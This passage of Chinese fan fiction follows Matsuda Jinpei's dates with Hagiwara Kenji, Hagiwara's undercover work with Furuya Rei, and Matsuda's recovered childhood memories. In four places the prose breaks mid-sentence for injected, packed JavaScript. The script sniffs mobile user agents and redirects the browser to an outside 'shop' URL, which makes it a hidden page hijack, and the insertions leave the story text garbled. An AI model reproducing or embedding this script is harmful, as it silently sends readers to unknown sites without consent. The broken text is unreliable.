萩原研二也深觉礼尚往来是好文明,于是趁此机会提出下一次邀约:“我那盒还没开始拼,小阵平周末有空吗,可以来我家一起拼!”他不确定自己临近周末的时候会不会空降任务,犹豫地补充道,“但是我有个稿子周末截稿,我能提前写完,但如果有什么意外的话我会先跟小阵平说的!” 松田阵平回忆了一下爆处组值班表,这个周末没有自己,于是欣然应允:“可以。” 送萩原研二回去之后,松田阵平也回到了他和诸伏景光合租的公寓。 诸伏景光此时正坐在厨房料理台前面凿冰球,旁边还放着一瓶喝了三分之一的波本威士忌,听到开门声下意识看了眼时间:“今晚的情况很复杂吗?”距离松田阵平从警视厅离开已经过去了接近三个小时,他都已经洗漱完,准备小酌一杯后睡觉了。 “虽然去到现场才发现还发生了命案,但是就炸弹而言很普通。”松田阵平说这句话绝无半点遗憾的意思,虽然他热爱挑战高难度模型,可作为警察他自然并不希望看到米花町出现什么高智商爆炸犯。 松田阵平脱了外套搭在手上准备去浴室,路过诸伏景光的时候被对食物嗅觉灵敏的刑警发现了端倪:“你去了我们常去的那家店?” 他本就没打算隐瞒,只是觉得没什么好说的,被好友问起来就如实告知:“昨天认识了一个挺有意思的人,今晚在现场碰到他后就请他吃了顿夜宵。” 诸伏景光:……等等,你不要用短短一句话透露出这么庞大的信息量啊! 明明中午和班长吃饭的时候还斩钉截铁说自己没恋爱,怎么今晚回来就发展到请人吃饭了? 当然,这也不一定是恋爱,但对于松田阵平来说,单是让他觉得别人有意思已经难上加难了,更何况是仅仅第二次见面就让他主动邀请对方吃饭? 诸伏景光宇宙猫猫头。 他下意识拉住了松田阵平的手:“阵平,你能不能,扩展一下刚刚那句话呢?” 从停好车后就一门心思想着回来给自己搜身,看看今日答题奖励有没有被发放在哪个犄角旮旯的松田阵平:“……” 厨子不可得罪,每天都有新菜式的优秀厨子更是衣食父母。 于是松田阵平臭着一张脸,乖乖把他和萩原研二之间发生的事跟好友说了。 猫眼青年潜意识觉得有地方不对,但是一时间也想不到是什么地方,就沉思着松手了。 重获自由的松田阵平站在浴室里,翻找了一番之后终于在外套内侧夹层里发现一张塑膜已经翘起来的陈旧饭卡,正面印有“神奈川中心小学饭卡”的字样,背面用油性笔写着“松田阵平”。 这次没有什么使用条件,他在看清上面自己名字的同时就陷入了一段画面。 跟上次全然没有声音的纯画面不同,这次松田阵平能隐约听到个别字词,但依然无法看清面容。 他能认出还是上次的两个小孩,只是长大了少许,季节也变化了,他们正穿着棉服和毛衣。其中一个穿着繁复花纹毛衣的孩子蹲在地上,埋头在膝盖里,身边是一片杂乱,好像刚被什么人粗暴地翻找过。 另外那个穿着灰色薄棉服的男孩有些无措地站在他旁边,想伸手把他扶起来又在碰到他之前把手缩了回来。他在原地转了两圈,像想起什么一样从裤子口袋里掏出一张饭卡递过去: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14195252|150801||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “……用我的吧……没关系的。” 毛衣小孩抬起头来好像笑了一下,但是没有接过饭卡:“……暂时……会适应的,别担心啦。” 棉服小孩看他不接,就很固执地一直保持着递饭卡的姿势。 毛衣小孩拿他没办法,慢慢地站起来,可能因为蹲太久腿麻,站起来的时候还差点一头栽到棉服小孩的身上。他站稳之后,郑重地接过那张饭卡,然后上前紧紧拥抱住了棉服小孩。 “……怎么可以这么……好喜欢……” 画面和声音都到这里结束。 松田阵平索性把衣服都脱了,站在淋浴头下开始洗澡,让热水洗去一天的疲惫,大脑却还在高速运转。 在他现在的记忆里,自己并没有在神奈川中心小学读过书,不过这一点如果是在篡改记忆的前提下已经无关紧要了。 综合两次的画面和这次饭卡上的名字,棉服男孩就是他松田阵平了,另外那个就是他“真正的幼驯染”。 他自己家境不好的人设倒是没变,幼驯染君的家境应该很不错,两次出镜都穿着质量上乘的衣物,上次还能送给他价格不菲的扳手。 两边的经济条件差那么远,是怎么玩到一起去的?松田阵平想到第一次画面里的汽车,目光飘移了一下,总不会是小时候的自己馋对方家的豪车然后上手拆了吧? 不过这次看起来像是幼驯染君家的地方遭受了变故,从小松田阵平递饭卡的举动来说,大概率是经济上的问题,要不就是欠债要不就是破产。 三两下把前因后果推出来的松田阵平:“……” 他想到了年幼时父母被杀害以至于患了失语症好几年的诸伏·现役幼驯染·景光:难道是他松田阵平自带什么悲惨buff吗,当他幼驯染,童年只有惨和更惨这两种状态。 不过松田阵平也只是脑海里随便闪过这么一句吐槽,他不是内耗的性格,不会随便往自己身上丢锅。 洗漱完毕后已经接近12点了,第二天是工作日的最后一天,松田阵平掏出手机准备调闹钟时,发现十分钟前三木贤治给他发了一条消息:谢谢小阵平今晚带我品尝的美味食物,我现在还在回味呢 (''ω'' )我今晚继续赶稿,很期待周末的见面,晚安~ 下面还附了三张图片。第一张是从远处拍摄的电脑屏幕,上面显示打开着的电子文档,桌上还放了杯热气腾腾的咖啡,配字是“愿码字之神护佑”。第二张图上是日历,今天的日期被用紫色的笔圈了起来,还画了Q版松田阵平和啤酒杯,下面用胖胖的字体写了“第一次和小阵平吃饭”——顺带一提,旁边并没有被对焦上的昨天好像写的是“初识小阵平”。第三张图是一张干净的大长桌和两张一看就很舒服的人体工学椅,桌上摆着那盒模型,配字是“好希望周末快点来”。 这人…… 松田阵平不认同地皱眉,手速飞快地回了消息:晚安,不要熬夜了,明天再写吧。 10. 第 10 章 萩原研二看着来自松田阵平的“晚安,不要熬夜了,明天再写吧”,美滋滋地笑了两下然后把它怼到好友的面前:“看到了吗小降谷,小阵平让我们明天再写,所以不要再熬夜啦,真的会有黑眼圈的哦!” 没错,他没骗松田阵平,他确实要“赶稿”,只不过这个稿是指卧底报告。为了让公安那边和四园集团配合好,他和降谷零要抓紧时间把今晚的任务写成报告,因为他们两人的分工不同,只能各写各的部分再整合成一份。 降谷零:“……” 他“啪”地一下把自己的笔记本合上,露出了核善的微笑:“不好意思,因为我今晚没出去和心上人约会——噢对不起我还没有心上人,也不需要换了几十个角度拍照最后只选出三张还折腾了半天P图软件。总之,我在你被爱情冲昏头脑的时候,已·经·把·我·的·部·分·写·完·了。” 说完,降谷零以一种胜利者的姿态走向了卧室,留下了表情龟裂的好友。 半晌后,萩原研二的惨叫声响起:“小降谷你变了!你怎么可以真的抛下我一个人加班!” 为了不让组织发现他们私交甚笃,平时两人都假装住在组织提供的单人安全屋实际住在只有自己知道的房产里,只有出现这种要一起处理公安事务或者有重要消息需要私下面谈的情况,才会来到这栋组织不知道的房产。 当第二天一大清早天还没亮,自律的降谷零起床准备出门晨运的时候,就收获了一枚通宵加班后气若游丝恍若飘魂的好友。 “……小降谷……你过来……”笔记本惨白的光映在更加惨白的脸上,长长的刘海下露出一双无神的眼睛,把还睡意朦胧的降谷零给吓清醒了。 萩原研二以一种递交遗产的姿态把U盘郑重塞到了降谷零的手里,接着就倒在地毯上人事不省了。 降谷零:“……” 忍着没做出探鼻息的行为,而是拐去萩原研二房间里抱了床被子给他盖上,就是他降谷零作为朋友最后的良心了。 等萩原研二一觉睡醒的时候,外面天还是黑的。他迷迷糊糊摸到手机,还没按亮,降谷零的声音就幽幽响起:“不用看了,现在是晚上八点半了。你可真能睡啊。” 他热了一杯牛奶端到萩原研二前面:“报告我已经给风见了。等下我就回去了,不过在回去之前——你有没有什么要对我说的?” 因为是熟悉且安全的地点里醒来,面前也是值得信赖的挚友,萩原研二大脑的开机速度没那么快,他接过牛奶润润嗓然后:“小降谷我是不会对你告白的死心吧——嗷别打我!” 他手忙脚乱地接住快要洒他一身的牛奶杯,总算清醒过来地看着好友本就深肤色的脸变得更黑了,立马投降:“我知道了!” 见降谷零坐在沙发上,自己终于脱离了被殴打的范围后,萩原研二深沉地叹了口气:“小降谷,我不得不承认你的担心是有道理的。小阵平,是警察。” “田纳西你竟然喜欢上了一个条子?”冷冰冰的枪口立马抵上萩原研二的额头,降谷零的表情变得晦暗莫测,平时显得无害的紫灰色下垂眼此时显露出极强的攻击性,仿佛里面蕴含着深不见底的暗色。 被枪指着的萩原研二:“……” 降谷零:“……最近演习惯了,我没有顺便骂自己的爱好。” 金发深肤的公安收起枪,恢复了严肃的表情,也跟着叹了口气:“我此时倒是希望你是在开玩笑了。卧底到组织的日本公安,在卧底期间喜欢上了阳光底下的警察,这种情节就算是你化身为三流小说家时也不屑写吧?” 萩原研二忍:“你说谁三流小说家呢小降谷你这个三流侦探!” 他从抽屉里拿出一打资料递到好友前。降谷零隐隐猜到这是什么,却还是在看到第一页的时候瞳孔微缩:“你竟然真的去调查他了?在这么短的时间里?” 只见第一页的左侧有一张清晰的证件照,有着一头卷发的青年难得端端正正地穿着警服并且把扣子扣到最上面那一颗,一眼惊艳的长相,即使是本人和好友都颜值上乘的降谷零也不得不承认这个人有着一张池面脸,也难怪颜控的萩原研二会对他一见钟情了。 ……虽然不知道自己为什么看到照片的第一反应是拳头有些痒。 熬了个通宵不仅仅是为了赶卧底报告,同时也是在调查松田阵平的萩原研二在好友翻阅资料的时候在旁边总结:“从目前得到的资料来看,小阵平的履历很干净,大学毕业后通过公务员考试进入警校,警校毕业前被邀请进入爆处组,因为过于出色的拆卸天赋在短时间内就成为队长。他人际关系简单,只有两个常来往的朋友,都在搜查一课就职,一个是……从小一起长大的,一个是在警校认识的同期。这两人的资料我也一并调查了,附在最后面,履历同样很干净。综上,小阵平跟组织有关系的可能性几乎为零。” 无论是作为公安还是作为组织代号成员,萩原研二和降谷零都是完全平等、不存在上下级关系的存在,他本不需要把这份资料给降谷零看更不需要解释那么多。但他们还是卧底,更是可以托付生死的好友,无论是从保证卧底任务的正常进行还是纯粹从友情的角度来说,萩原研二完全能理解降谷零的谨慎心态。 资料并不算多,降谷零很快就看完了,他表情复杂地看着萩原研二:“从这些资料来说确实没什么问题。” 他想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14195253|150801||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过以萩原研二的心细来说,知道对方是警察后不需要自己的提醒也会慢慢去调查;也想过以萩原研二粉红泡泡致死量的状态下一时不愿去怀疑心上人,只能由他降谷零帮忙偷偷调查。 但他万万没想到萩原研二前脚还在孔雀开屏地跟心上人刷刷刷发消息,后脚就把人家小学揍过几个人都查出来了。 降谷零一时不知道要夸萩原研二是个足够优秀的卧底,还是要为他连在这种理应情绪上头的时候还能冷静到接近冷酷而感到可怕。 他并没有特意收敛表情,萩原研二便也能从中猜到他的想法:“呜哇,不要这么看着我啊小降谷。” 他下意识摸出一根烟,在一股如同实质的视线里才想起来面前的好友不喜欢闻到烟味,只能讪讪地把烟夹在耳朵前面来闻那淡淡的烟草味。 “其实在意识到小阵平身份的那一瞬间我大脑是空白的,稍微找回一点理智的时候第一反应就是要放弃。我们只不过是见了一面,连朋友都称不上,及时止损是当下最合适的选择,相信小阵平很快就会把我这么一号人给彻底忘掉,我忘不掉的话也没关系,大不了就暗中观察——好吧我大概率是做不到看着他却不去接触的,那我就让自己不要再见到他。” 客厅白炽灯光直直打在萩原研二身上,他那纤长的眼睫脸上留下了片扇形的黑影,让降谷零看不清他眼底的情绪。 “但就在我想退缩的时候,什么都不知道的小阵平主动向我走来,他带我去了之前只带过他幼驯染去的小店,他说他也能感到和我很合得来。当我差点没忍住想上前抱一下他的时候,我心道完了。无论前面有什么困难,我都愿意去克服,因为我有种预感……我不能承受失去他的痛苦。” 他忽然抬起头,露出惯常的笑容:“小降谷想笑就笑吧,研二酱不会偷偷把你种的芹菜全部拔掉的!” 降谷零这次没理会他的插科打诨。他了解自己的这个好友,嬉皮笑脸惯了,除了小时候家里破产那次,如此认真地讲述自己的私事还是头一回,此时估摸着是在不好意思,也是在担心自己“任性”的决定会给别人带来麻烦。 萩原研二看降谷零没反应,正色道:“你放心,不会出现因为我这个决定而连累你的情况——哎哎哎别打乱我拼到一半的模型!” 降谷零拿起自己的外套站起来,表示自己不想在这里浪费时间了:“再说什么连累,在你把我的芹菜拔掉之前我先把你拼好的模型全都扔掉!” 萩原研二立马站在自己的模型展示柜前面作母鸡护小鸡状。 金发的公安在即将关上门的那一瞬间忽然后知后觉:“等等,上次我的芹菜被浇死了,这事不会是你干的吧?!” 11. 第 11 章 松田阵平正在做梦。 他很清楚地知道自己在做梦。 因为他能看到前两天画面里的两个孩子手牵着手穿过他的身体。 依旧看不清脸,但松田阵平已经能通过之前的画面立马辨别出哪个是小时候的他,哪个是他素不相识的幼驯染,萩原研二。 小萩原研二的衣服没有之前看起来那么昂贵了,一只手里拿着根冰棍在吃,另一只手正被小松田阵平扯着手腕往外走。 他因为嘴巴里含着东西,说话更含糊了:“不要害羞啦,姐姐可是有很多男生追的哦,我可以理解哒!” 小松田阵平已经害羞到连手都变红了:“我没有害羞!但是你也不要大声嚷嚷,小心我揍你哦!” 小萩原研二非常不怕死地笑了两声,然后把脸凑到小松田阵平前面。 “干、干嘛!” “我忽然想起来,很多长辈都说我和姐姐长得很像,除了头发和眼睛的颜色几乎一模一样……不会是因为喜欢我的脸所以才喜欢姐姐吧?” “……别自作多情了萩。”即使看不到脸,松田阵平也能想象得出小时候的自己此时肯定是无语的半月眼。 小萩原研二故作伤心:“唉——怎么可以这样,我可是很喜欢……的脸呢!我是永远的……派!” 不知道为什么,松田阵平听不清他对小松田阵平的称呼。 可能是听过太多次类似的话了,小松田阵平已经完全免疫了,十分敷衍地点点头:“知道了。” 当他们穿过松田阵平的那一瞬间,周围的景色瞬间就变了,这里松田阵平很熟,因为这就是他生活了十几年的家。 松田丈太郎眼瞧着一个拳头就要砸到小松田阵平的脑袋上:“你这个小兔崽子!又趁我不在的时候偷偷把电视机拆了,现在电源都打不开了!” 小松田阵平怎么可能乖乖挨打,用拳击馆其他叔叔交给他的技巧勉强抗住了这其实并不算重的一拳:“你有本事就别出去喝酒啊!电视机拆了不是更好,免得一看到拳击比赛就又去买酒——嗷!” 松田丈太郎收回没有被儿子拦住的另一只手,醉醺醺地走回自己房间了:“不要以为你学的这点东西就能打赢我,你还早着呢。” 小松田阵平站在一片空酒瓶里一动不动,只有垂在身侧,紧紧攥起来的拳头表明他起伏的心绪。 松田阵平也安静地站在小松田阵平的对面,即使松田丈太郎早已打不过年轻体壮的警察儿子,即使父子俩的关系早已在这些年里日渐缓和,不代表他就能彻底遗忘这段灰色的童年。 忽然有个身影像是忍无可忍,从门后冲出来把小松田阵平抱住:“……别哭,有我在哦。” “我没哭。”小松田阵平确实没哭,他好像天生泪腺就不发达,不像自己这个好友——“等等,你是不是哭了??” 抱着他的那个男孩把自己的脑袋埋在小松田阵平的肩膀上,双手紧紧抱住他,大大方方承认自己哭了:“是哦……不好意思哭出来的话,就由我帮你哭吧。” 小松田阵平有些着急:“我没关系的,那臭老头喝了酒,又那么久没去训练了,打人一点也不痛。”他感觉得到自己肩膀上的水迹还在持续扩大,绞尽脑汁安慰小伙伴,“我们一起把电视机修回来吧,那臭老头就没那么多借口叽叽歪歪了。你还记得前几天我们在书店里看到的那本修理的书吗?我们试试那个方法吧。” “真的吗?” “试试不就行了,不要把眼泪鼻涕全擦我衣服上,hagi你好恶心。” “大打击……怎么可以说我恶心!” …… 当松田阵平睡醒的时候,他还能感觉到自己柔软的心情,就如同自己此时身上盖着的、被秋日清晨的阳光晒得软绵绵的被子。 他已经记不清在自己现有记忆里有没有发生过一样的事情了,因为类似的记忆太多,都藏在那段雾霾般的岁月里。诸伏景光是他最好的朋友,温柔聪明,即使经历过那样惨痛的童年也成长为如此优秀的青年。他会在自己受伤的时候拿来医药箱细心地给他包扎,会在那些嘲笑他们的孩子把他们围起来时害怕但坚定地拉住他的手。 如果说诸伏景光是水,那萩原研二大概就是光,性格完全不同的两个人,对于松田阵平来说没有优劣之分。拥有那样的童年,他实在算不得幸运,但又幸运地在这样的童年里认识了对他如此重要的人——无论是哪位。 做了这样的梦,卷发青年也难得惬意地享受这段周末的赖床时光,而不是睁眼就心心念念昨天拆到一半的炸弹模型和还没整理好的分解。 梦是昨天答题的奖励,当时答题后松田阵平无论是给自己搜身,还是把周围东西都翻了一遍都没找到再有什么陌生的物品出现,折腾半天只能放弃。 没想到竟是直接入了他的梦。 看来是只有画面里比较重要又有纪念价值的物品才会给到他,毕竟总不能把小松田阵平拆坏掉的电视机或者小萩原研二吃完冰棍剩下的那根木棍掉给他吧? 松田阵平起床去洗漱的时间比平时晚了点,所以打开房门的时候看到诸伏景光在看一本犯罪心理学相关的书籍,旁边还放着一张做了标记的乐谱。 洗漱完出来,松田阵平坐在餐桌旁,开始享用诸伏景光早就做好的早餐,是牛油果塔可、煎蛋和热可可。 无论他吃过多少顿诸伏景光做的饭,每次享用的时候都会由衷地感谢上帝赐予好友如此高的厨艺天赋。他又扫了一眼诸伏景光身边的乐谱,这可真是一位被警察事业耽误搞音乐的好厨子。 “我说景老爷,你要不要考虑录制做菜视频或者你弹贝斯的视频放到视频网站上?”松田阵平的灵感来源于他昨天给搜查一课上课的时候,不知道被哪个给录了像上传到网站,不到一天的时间里就因为爆火被顶到了网站首页。诸伏景光发现后忍着笑递给他看。松田阵平还记得上面奇奇怪怪的,好像称之为弹幕的东西: 【好帅,真的好帅,这真的是三次元可以拥有的帅哥吗?】 【而且还是警察哎,不会是警视厅为了骗女生去报考警校特意找的帅哥来演吧】 【可以当我男朋友吗,我家很有钱的,如果不喜欢女生的话我哥说他也很喜欢你】 “这都什么乱七八糟啊……”看得松田阵平的墨镜都往下滑了两毫米。 诸伏景光憋笑憋得辛苦,闻言不忘添油加醋:“长官也知道这件事了,他觉得是个宣传的好机会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14195254|150801||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,打算下周让负责宣传的同事编辑一下作为正式的宣传片发出去。” 松田阵平额头青筋蹦起:“你们搜查一课以后别再想骗我过去了!” 路过听到他们对话、也知道这件事的爆处组长官,中村警官,对松田阵平这句话表示支持:“松田可是我们的人,怎么就又给你们搜查一课又上课又宣传了?”他口风一转,“除非诸伏你也来我们——人呢?” 松田阵平没大没小地拍拍中村警官的肩膀:“别想了,诸伏可精明着呢。” 从不堪回首的记忆里回过神来,松田阵平用教唆的眼神盯着诸伏景光,不能只有我被拉下水吧。只见后者又慢悠悠翻过一页书:“你怎么知道我就没上传呢?” 松田阵平一脸懵逼,松田阵平大为震撼,松田阵平眼见为实。 诸伏景光拿出手机打开了那个视频网站然后递给了松田阵平,一双漂亮的猫眼在看到好友难得傻气的表情后愉快地弯起来。 不怪松田阵平那么惊讶,任何一个脸部肌肉正常的人,猝不及防知道至交好友在视频网站上是个有几百万粉丝的红人都难以控制自己的表情。 他随便点开一个视频,是诸伏景光在录制自己做晚餐的过程,有本人后期配上的解说,没有拍到脸部,但这并不影响弹幕在觊觎他温柔磁性的声音、修长白皙的手指和就算穿着家居服也无法完全遮掩住的肌肉线条。 松田阵平:“……”这个国家要完蛋了。 他这次挑了挑,选了一个弹贝斯的视频点开,依旧是没露脸,贝斯声音沉稳又利落,这次的弹幕比之前那个干净一些,至少没人嚎声音了。但是松田阵平注意到有个高频的金色弹幕比较惹眼,这个弹幕有独特的边框,而且跟其他弹幕叫诸伏景光“老爷”不一样,这个弹幕称呼诸伏景光为“hiro”——诸伏景光的账号名为景老爷。 于是松田阵平好奇地指着这个金色弹幕问他:“为什么这个人和其他弹幕不一样?” 诸伏景光显然很眼熟这个账号:“是我早期的一个粉丝,和我互动很多,所以有我的专属粉丝装扮。我的视频还没什么人看的时候,他就已经给我每一个视频都评论、发弹幕,看起来是个很认真的人。后来说受了我的影响,想学乐器,我还以为他要学贝斯呢,结果买了把吉他。” 他翻出和这个账号的聊天记录,点开三年前的一个视频,视频里是个没有拍到脸部、深肤色的年轻男性在弹吉他,曲子简单,但是很有诸伏景光风格的流畅干净。结束后那个男生还说了句话。 “本来想跟着hiro学贝斯的,但是后来想了想,如果哪天遇到了hiro,我希望可以用吉他和你合奏。” 松田阵平:“……”这个国家还是要完蛋了啊! 陷入回忆的诸伏景光没注意到好友疯狂想吐槽的表情,可惜道:“但是不知道为什么,这两年来虽然他还是会给我每个视频下面留言,却再也没有联系我了,可能是不再学吉他了吧。他明明很聪明,学得也很快。” 在翻了半小时好友的视频账号后,松田阵平正准备心满意足地把手机还给诸伏景光,想起他们讨论视频网站的起因,“所以,景老爷,你是因为不想被别人认出来你的声音才拒绝拍宣传的吧!” 12. 第 12 章 到了上午11点的时候,松田阵平准备出门。 因为昨晚睡前的时候他收到了三木贤治的消息,说他已经成功交稿了,周末可以正常进行,现在诚邀小阵平共度周六: 中午共进午餐,结束后去他家玩模型,晚上共进晚餐,晚餐后坐他的车去兜风,最后送他回家。 当时松田阵平看到这个满满当当的安排后:“……”这辈子没在学校和工作以外看到这么满的行程。 在松田阵平即将去赴约的现在,从他口中听到这个满满当当的安排后的诸伏景光:“……” 虽然诸伏景光也没谈过恋爱,但是比起对大部分事情都漠不关心的松田阵平,他对常规情侣之前的相处模式还是有些常识性的了解。 于是他委婉地提醒道:“注意保护好自己,阵平。” 松田阵平:“?”景老爷,在让自己一个学过拳击的现役年轻警察,去赴朋友约的时候,注意保护自己? 他一言难尽地看了眼自家幼驯染。 在抵达和三木贤治约好的餐厅前,松田阵平去了趟自己常去的模型店,买了盒新出的模型。 这时,屏幕弹出了今日份的答题:“今天下午你会拼装自己买的模型吗?A.会 B.不会” 松田阵平觉得这两天的每日答题,问得都很敷衍,昨天问的是诸伏景光做的晚餐里会不会加西芹,今天问的是他会不会玩自己买的模型。 这种问题的答案都是可以操控的,他可以让诸伏景光不要加西芹,也可以把自己刚买的模型放回店里,跟店长说一句突然有急事下次再来拿。 想要改变答案都只不过是他一句话的事情。 就好像……最开始的两个问题都是为了让他养成认真答题的习惯才认真设置的,后面只是找个借口给他“发放记忆”。 那么,如果他没有认真答题的话,会怎么样呢?题目问的是“今天下午”,只要自己现在点了,就还不在“今天下午”的范围内。 松田阵平是行动派,这么想了,就打算这么做,于是他调出屏幕,点了A。 然后立马有个弹窗出现,不是平时的“恭喜答对”,而是看起来有些气急败坏的“请认真答题(‵□′)”。 松田阵平打了个哈欠,不行就不行吧,本来也只是做个试验。不过最后那个表情让他联想到也经常给他这样发消息的三木贤治,难道现在都流行这样? 午餐地点是三木贤治定的,他问松田阵平有没有不接受的饮食类型后,选了这家据说就在他家隔壁街的日料店。日料店开在一个巷子里,入口不明显,松田阵平兜了一圈才发现。 松田阵平把车停好,还没下车,等在店门口的半长发青年就开始朝他走来。 他今天穿了身粉色的衬衫,很少有男性把这个颜色穿得好看,要不就是显得邋遢,要不就是看上去轻佻,但穿在萩原研二身上却很适合。 因为坐过松田阵平的车,所以萩原研二大老远就认出来了这辆黑色的马自达。 “怎么不进去等?”松田阵平进去才发现里面别有洞天,入口那么隐蔽,店内面积却不小,装潢透着股低调的奢华,萩原研二报了名字后有穿着和服的店员把他们带去包厢里坐下。看起来像政客们聚餐会选择的地方。 萩原研二把菜单推到松田阵平面前,冲他眨了眨眼:“因为我来到才想起来这家店位置比较隐蔽,如果小阵平在外面兜圈的时候看到我就能找到啦~” 确实是因为看到萩原研二才找到店的松田阵平瞥了他一眼。 从这一眼里得到答案的萩原研二满足地扬起一个更灿烂的笑容。 “小阵平看看想吃什么~” 不怎么挑食的松田阵平看着厚厚一本菜单表示:“我都可以,你点吧,贤治。” 想了一下,他又补充道:“我的饮食偏好很正常,上次那个是例外。” 正准备根据上次松田阵平表现出来的剑走偏锋选些特色菜的萩原研二笑容不变:“收到~” 他熟练地点了几样菜,刚好是两个成年男子合适的分量,让一直隐约担心他会点太多的松田阵平放下心来。 “小阵平平时会去什么店里吃?” 松田阵平想了想自己外出吃饭的地点:“如果警视厅的那班家伙要聚餐的话一般都去居酒屋,或者晚上加班到比较晚的时候就去上次那家店。其余时间很少外出吃饭,因为说句不夸张的话,大部分外面的餐厅都比不上诸伏的手艺。” 没想到只是随意的开场白都能听到“诸伏”的萩原研二:“……” 好嫉妒,可是不能让小阵平知道。 萩原研二用上当卧底时的表情控制力:“诸伏先生是小阵平上次说的朋友?你们一起住吗?” 松田阵平点点头:“因为我需要更多的空间来放拼好的模型,诸伏也怕自己练习贝斯的时候打扰到其他人,所以我们便从宿舍里搬出来合租了。他的厨艺很厉害,每一个尝过的人都会赞不绝口。” 萩原研二只会做些简单的菜式,味道仅限于吃下去不至于食物中毒,平时都是辗转在各式高级餐厅间,组织的经费不用白不用。他的幼驯染降谷零本来跟他的水平半斤八两,但是这家伙不知道这两年去哪偷师了,某些菜式竟也能做得有模有样,可惜他们为了假装不熟不能住在一起,否则还能蹭上几口。 原本萩原研二对此并不在意,世界上不会做饭的人多了去了,要是个个都会做岂不是让人家餐饮业无路可走。但是他现在改变想法了,那位诸伏先生会的,他也不能落下太多!过几天就去骚扰小降谷! 松田阵平若有所感地看了一眼萩原研二,总感觉他想了些什么自己不能理解的东西。 好在菜上得很快,被摆盘精致、香气扑鼻的美食吸引住了注意力的松田阵平没有开口询问。 萩原研二非常擅长与人沟通,一边享用美食一边时不时聊几句,即使是平时不爱开口的松田阵平在他的引导下也说了一些自己的事情。 “对,我平常都在XXX店买模型,那家店出新速度稳定,老板也很好说话,去的次数多了甚至会主动给我留新品,即使我也不是每次都买……不过今天我买了,就在车上,等下吃完饭去拿吧。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14195255|150801||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >萩原研二拉长声音:“诶——?不是说好今天拼我买的模型吗?小阵平不想和我一起拼嘛?”明明是成年男性低沉的声音,偏偏能做到又甜又自然地撒娇。 松田阵平倒是好像天生免疫这一套,他奇怪地看了一眼萩原研二:“我们还没一起拼过模型,我不清楚你的速度。但是以我的速度来说,你带回去的那盒我拼好不需要一个下午的时间。” 本身也喜欢拆卸、自认在这方面大抵也没什么人能比得上他的萩原研二被勾起了好胜心:“相信我,绝不会给小阵平拖后腿。” “那就拭目以待。” 萩原研二的住所在一栋高层公寓里,是套宽敞的两室一厅。 松田阵平一进门就能闻到淡淡的香气,灿烂的午后阳光照在餐桌正娇艳盛开的花束上,目光所及的地方都干净得一尘不染,东西也摆放得井井有条,只有客厅茶几上摆放了个白色的大礼品袋,显得有些突兀。 但是他没有探究别人隐私的爱好,视线在上面掠过就专注于客厅角落里那个巨大的模型柜了。 被摆出来的自然是经过主人精心挑选的心头好,松田阵平一个个仔细看过去,眼中的兴味越来越浓厚。按照这些拼好的模型的精巧和复杂程度,很显然这位三木贤治有着不俗的思维能力和手指灵活度。 萩原研二看松田阵平专注于模型柜,就去厨房泡了两杯咖啡,又把上午买好放在冰箱里的小蛋糕拿出来,甚至还现场学了下摆盘。 于是等松田阵平终于闻到咖啡香气的时候,餐桌上已经俨然一副酒店精致下午茶的模样了。 墨镜都遮掩不住那双凫青色眼眸透出的诧异:“不是刚吃完午饭吗?” “饭后甜品,饭后甜品。”萩原研二笑着说。 松田阵平又仔细看了下,虽然架势唬人,但甜品确实都是一口一个的大小,即使是刚吃完饭的现在也不会增添太多负担,便没有再推脱。 萩原研二也拿了一个蛋糕慢慢吃,用一种并不会让人感到冒犯的频率看着松田阵平。在他眼里,戴着黑色墨镜穿着黑色西装的小阵平,此时却在吃淡紫色、上面还有颗草莓的慕斯,是能让他恨不得掏出手机拍个十张八张的可爱。 他还是有些担心自己擅自买甜品并劝松田阵平吃下的行为会让对方不满,就补充解释道:“其实是因为我昨晚做梦梦到甜品,睡醒后就特别想吃,一不小心就买多了,只能辛苦小阵平陪我一起吃啦~”事实是因为过于期待今天和松田阵平的“约会”,导致梦里都是甜滋滋的,于是很想让小阵平也感受一下这份甜意。 